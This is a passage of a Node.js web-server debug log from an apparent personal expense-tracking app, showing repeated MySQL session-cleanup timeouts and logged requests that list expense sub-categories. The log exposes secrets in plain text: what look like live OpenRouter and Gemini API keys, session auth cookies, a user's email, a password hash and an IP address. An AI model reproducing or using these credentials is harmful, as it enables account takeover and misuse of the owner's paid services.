    cookie: 'security.auth=s%3AnquQYtB8MwGB0NUuBHEOpw%3D%3D.amBWuHpKtzm2ErZLMNjwktxKryZ462FWof%2FloUWxaMKT30RtwvTiVp3jFGxAzzkeCOrg5Fjq4vUniFWLVqSWEtYw7sGOqsCrJhqHweG%2BU4AuMSLsFKVRTMgiuJf9pbTNZhMPc1%2Fj1pQUd71RaSw3Y8kcIgoDeCIKp%2FyNzZy71hs%3D.lSv6XfKLCATA0vb3Mgyv7WfuIG5pQmAgtAASuuLw25Q; your_r_git.sid=s%3As0FBAyPiHp7znHIJhjbQlbUQWX4ArlYm.ENKBy5cqLhjosiXQSE%2BwJZfT8TCgwA3aISUtAqW%2FPoQ',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-12T09:47:56.714Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"10139-Swi8VQVdCWATuD2DH/CVxjJhyck"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AnquQYtB8MwGB0NUuBHEOpw%3D%3D.amBWuHpKtzm2ErZLMNjwktxKryZ462FWof%2FloUWxaMKT30RtwvTiVp3jFGxAzzkeCOrg5Fjq4vUniFWLVqSWEtYw7sGOqsCrJhqHweG%2BU4AuMSLsFKVRTMgiuJf9pbTNZhMPc1%2Fj1pQUd71RaSw3Y8kcIgoDeCIKp%2FyNzZy71hs%3D.lSv6XfKLCATA0vb3Mgyv7WfuIG5pQmAgtAASuuLw25Q; your_r_git.sid=s%3As0FBAyPiHp7znHIJhjbQlbUQWX4ArlYm.ENKBy5cqLhjosiXQSE%2BwJZfT8TCgwA3aISUtAqW%2FPoQ',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-12 07:50:08' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-12 07:50:08' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-12 14:23:08' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-12 14:23:08' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-12 17:23:09' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-12 17:23:09' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-12 23:18:09' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-12 23:18:09' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-13 01:22:09' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-13 01:22:09' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2026-03-13 04:16:10' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:519:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2026-03-13 04:16:10' as DATETIME)"
}
2026-03-13T06:45:31.953Z server-connect:router Serving templateView /
2026-03-13T06:45:31.954Z server-connect:app Executing action step identify
2026-03-13T06:45:31.954Z server-connect:app options: { provider: 'security' }
2026-03-13T06:45:32.006Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2026-03-13T06:45:32.009Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-03-13T06:45:32.060Z server-connect:output identity: 1
2026-03-13T06:45:32.060Z server-connect:app Executing action step restrict
2026-03-13T06:45:32.060Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-13T06:45:32.061Z server-connect:output restrict: undefined
2026-03-13T06:45:32.061Z server-connect:app Executing action step restrict
2026-03-13T06:45:32.061Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-13T06:45:32.061Z server-connect:output restrict: undefined
2026-03-13T06:45:32.061Z server-connect:router Render template layouts/main
2026-03-13T06:45:32.061Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    'sec-purpose': 'prefetch;prerender',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AnquQYtB8MwGB0NUuBHEOpw%3D%3D.amBWuHpKtzm2ErZLMNjwktxKryZ462FWof%2FloUWxaMKT30RtwvTiVp3jFGxAzzkeCOrg5Fjq4vUniFWLVqSWEtYw7sGOqsCrJhqHweG%2BU4AuMSLsFKVRTMgiuJf9pbTNZhMPc1%2Fj1pQUd71RaSw3Y8kcIgoDeCIKp%2FyNzZy71hs%3D.lSv6XfKLCATA0vb3Mgyv7WfuIG5pQmAgtAASuuLw25Q',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-14T06:45:31.952Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_SEC_PURPOSE: 'prefetch;prerender',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AnquQYtB8MwGB0NUuBHEOpw%3D%3D.amBWuHpKtzm2ErZLMNjwktxKryZ462FWof%2FloUWxaMKT30RtwvTiVp3jFGxAzzkeCOrg5Fjq4vUniFWLVqSWEtYw7sGOqsCrJhqHweG%2BU4AuMSLsFKVRTMgiuJf9pbTNZhMPc1%2Fj1pQUd71RaSw3Y8kcIgoDeCIKp%2FyNzZy71hs%3D.lSv6XfKLCATA0vb3Mgyv7WfuIG5pQmAgtAASuuLw25Q',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-03-13T06:45:34.677Z server-connect:router Serving serverConnect /api/masters/get-items
2026-03-13T06:45:34.678Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-03-13T06:45:34.678Z server-connect:app Executing action step identify
2026-03-13T06:45:34.678Z server-connect:app options: { provider: 'security' }
2026-03-13T06:45:34.678Z server-connect:output identity: 1
2026-03-13T06:45:34.678Z server-connect:app Executing action step restrict
2026-03-13T06:45:34.678Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-13T06:45:34.679Z server-connect:app Executing action step identify
2026-03-13T06:45:34.679Z server-connect:app options: { provider: 'security' }
2026-03-13T06:45:34.679Z server-connect:output identity: 1
2026-03-13T06:45:34.679Z server-connect:app Executing action step restrict
2026-03-13T06:45:34.679Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-13T06:45:34.679Z server-connect:output restrict: undefined
2026-03-13T06:45:34.679Z server-connect:app Executing action step select
2026-03-13T06:45:34.679Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-03-13T06:45:34.679Z server-connect:output restrict: undefined
2026-03-13T06:45:34.679Z server-connect:app Executing action step single
2026-03-13T06:45:34.680Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-03-13T06:45:34.680Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-03-13T06:45:34.683Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
